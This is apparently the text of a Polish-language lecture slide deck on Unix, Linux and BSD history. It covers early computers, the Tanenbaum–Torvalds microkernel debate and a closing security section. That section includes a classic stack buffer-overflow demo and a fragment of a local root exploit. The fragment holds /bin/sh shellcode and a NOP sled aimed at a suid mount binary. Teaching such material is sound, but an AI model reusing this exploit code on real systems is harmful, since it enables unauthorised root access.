other than the fact linux has a cool name, could someone...
TRANSCRIPT
-
19391991> > Other than the fact Linux has a cool name, could someone explain why I should use
> > Linux over BSD?
>
> No. That's it. The cool name, that is. We worked very hard on creating a name that would
> appeal to the majority of people, and it certainly paid off: thousands of people are using
> linux just to be able to say "OS/2? Hah. I've got Linux. What a cool name".
Linus Torvalds
Piotr Grzybowski
-
o czym bedzie Poczatki
Nowy Lad
Wymiana ognia
Bezpieczenstwo
Przyszlosc
Przewidywania
-
rys historyczny Dawno, dawno temu
Pierwsze maszyny
Ludzie przed swoimi niesamowitymi maszynami
Galeria Slaw
Nowa Era
Wspaniala Rodzina
Przyszlosc vs Przeszlosc
-
poczatek ..
W 1937, George Stibitz zauwazyl ze
elektromechaniczne przekazniki z central
telefonicznych nadaja sie do czegos innego.
Z przekaznikow, migajacych zarowek i puszki na tyton, zbudowal pierwszy binarny
sumator.
-
pierwszy komputer
W 1939, Stibitz i S.B. Williams zbudowali Complex Number Calculator, I elektryczny komputer cyfrowy. Skladal sie z 450 przekaznikow tel. i10 poprzecznych przelacznikow. Umial podzielic dwie 8-cyrfowe liczby zespolone. Tylko trzy Maszynistki wprowadzaly dane.
-
pierwsze RPC
W 1940, Stibitz wzial jedna ze swoich “teletypewriters” na spotkanie American Mathematical Association w Dartmouth, New Hampshire i przez linie TELEFONICZNA polaczyl sie z “Complex Number Calculator” w Nowym Jorku. Byla to pierwsza demonstracja “remote computing”.
-
10 lat CNC ..
CNC (Complex Number Calculator), pozniej nazwany “Model 1 Relay Computer” dzialal przez 10 lat do 1949.
-
w 20 lat pozniej. We wrzesniu 1969 roku rozpoczyna sie era unixa. BTL, GE i MIT zlecaja stworzenie SO dla duzej maszyny. Dennis Ritchie i Kenneth Thompson tworza “UNICS (UNiplexed Information and Computing Service)”a Jezyk: BCPL (Basic Combined Programming Language), potem B, maszyna: PDP-11.
-
Den & Ken
-
maszyny
-
maszyny
-
inne
-
Hall Of Fame
Linus TorvaldsKen Thompson
Bill Joy Richard Stallman
Brian Kernighan
Dennis Ritchie
-
Pierwsze lata
-
Narodziny BSD
-
Narodziny BSD
-
2004/ 2005
-
Przeszlosc vs Przyszlosc
-
Tanenbaum vs [email protected] (Andy Tanenbaum)
[email protected] (Linus Benedict Torvalds)newsgroups: comp.os.minix
Subject: LINUX is obsoleteDate: 29 Jan 92 12:12:50 GMT
MINIX to hobby, zajmuje sie nim kiedy znudzi mnie pisanie ksiazek, nie ma wiekszych wojen, rewolucji, lub przesluchan senatu na CNNie. Jestem profesoremi badaczem w dziedzinie systemow operacyjnych
Uzywasz tego jako usprawiedliwienia dla ograniczen MINIXA? Sorry, ale przegrywasz: mam wiecej wymowek a linux wciaz bije na leb na szyje minixa w prawie kazdej dziedzinie
-
Tanenbaum vs Linus
Wiekszosc starych systemow operacyjnych jest monolityczna, czyli caly system jest jednym plikiem a.out ktory chodzi w “kernel mode”. Zawiera process&memory management, fs i cala reszte. Przyklady: UNIX, VMS, OS/360, MULTICS.
Alternatywa jest system oparty na mikro-jadrze, w ktorym wiekszosc SO chodzi jako osobne procesy, poza jadrem. Komunikuja sie poprzez “message passing”. Jadro zajmuje sie przesylaniem komunikatow, itp. Przyklady: RC4000 Amoeba, Chorus, Mach.
Podczas gdy moglbym snuc dluga historie o przewadze jednego rozwiazania nad drugim, wystarczy powiedziec ze posrod ludzi ktorzy projektuja systemy debata jest skonczona. “Microkernels have won.”. Linux jest monolityczny. “writing a monolithic system in 1991 is a truly poor idea.”
Monolithic vs micro
-
Tanenbaum vs Linus
Fakt, linux jest monolityczny i zgadzam sie z tym ze mikrojadra sa ladniejsze. Z teoretycznego (i estetycznego) punktu widzenia linux przegrywa. Gdyby GNU kernel byl gotowy zeszlej wiosny, nie zaczalbym. “Linux wins heavily on points being available now.”
Tworzysz minixa jako hobby – patrz kto na nim zarabia a kto daje linuxa za darmo. Linux to hobby (powazne), nie biore za niego pieniedzy, nie jest czescia moich studiow.
Twoja praca to profesor i badacz: “That's one hell of a good excuse for some of the brain-damages of minix. I can only hope that Amoeba doesn't suck like minix does.”
Monolithic vs micro
-
Tanenbaum vs Linus
Dawno temu bylo 4004 CPU, potem 8008, 8080, 8086, 8088, 80286, ktore przeszlo w 80386, potem 80486 itd do Ntej generacji. W miedzy czasie powstal RISC. To one zastapia linie 80x86. Beda interpretowaly 80386 softwarowo.
Nie zrozum mnie zle, nie jestem niezadowolony z LINUXA. “It will get all the people who want to turn MINIX in BSD UNIX off my back.”.
portability
Ale szczerze mowiac uwazam ze ludzie szukajacy **NOWOCZESNEGO** “darmowego” SO zwroca sie w strone mikrojadra.
-
Tanenbaum vs Linus
“Portability is for people who cannot write new programs.”
Zgadzam sie ze portowalnosc jest dobra rzecza, ale tylko tam gdzie ma jakies znaczenie. System operacyjny ma za zadanie uzywac wlasciwosci sprzetu i chowac je za warstwa wysoko-poziomowych wywolan.
Zgadzam sie tez ze linux doprowadza nie-portowalnosc do granic: w Styczniu zeszlego roku dostalem swoje 386 i linux byl projektem ktory mial mnie go nauczyc.
portability
-
Tanenbaum vs Linus
Jesli grupa ludzi chce modyfikowac jeden kod, w porzadku. Mysle ze koordynowac 1000 prima donn na calym swiecie bedzie proste jak pasc koty.
Linus chce miec kontrole nad oficialna wersja, a grupa napalonych bobrow chce isc w innym kierunku. Problemem jest koordynacja.
wielu programistow
Nadal stoje na stanowisku ze projekotwanie monolitycznego jadra w 1991 jest fundamentalnym bledem. Ciesz sie ze nie jestes moim studentem. Nie dostalbys wyskokiego stopnia za taki projekt.
-
Tanenbaum vs Linus
“Here's my standing on ''keeping control'', in 2 words (three?):
I won't.”
Wlasciwie mysle nad czyms w rodzaju listy dyskusyjnej “linux-kernel” na ktorej podejmowane byly by decyzje o nastepnych wersjach.
“Well, I probably won't get too good grades even without you.”
wielu programistow
-
Tanenbaum vs Linus
mikrokernel jest tak samo dobry jak monolit
software powinien byc darmowy
historia zdecydowala
conclusions
-
Benchmarks
socket();
-
Benchmarks
mmap();
-
Bezpieczenstwo
Programy “suid”
“Smash the stack for fun and profit”
Rootkits & LKM
Przyklad
-
Bezpieczenstwo
#ls -al /usr/bin/passwd-rwsr-xr-x root root 26584 Oct 25 2003 /usr/bin/passwd
#chmod +s /tmp/exploit
set user/group on execution
Co jesli program ma bledy?
Co jesli zostal zle napisany?
-
Bezpieczenstwo
stack
PUSH POPx86 CPU
Text
(Initialized)Data
(Uninitialized)
Stack
nizsze adresy
wyzsze adresy
-
Bezpieczenstwo
buffer overflowvoid function(char *str) { char buffer[16];
strcpy(buffer,str);}
void main() { char large_string[256]; int i;
for( i = 0; i < 255; i++) large_string[i] = 'A';
function(large_string);}
top bottom
-
Bezpieczenstwoprzykladowy exploit
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
execl(PATH_MOUNT, "mount", buff, NULL);
-
PRZYSZLOSC“Space, the final frontier”
darmowe oprogramowanie
jadro monolityczne
nowe systemy na bazie jadra BSD
linux przyszedl i zostanie
bezpieczenstwo jest priorytetem
kazdy moze miec wielki wklad w historie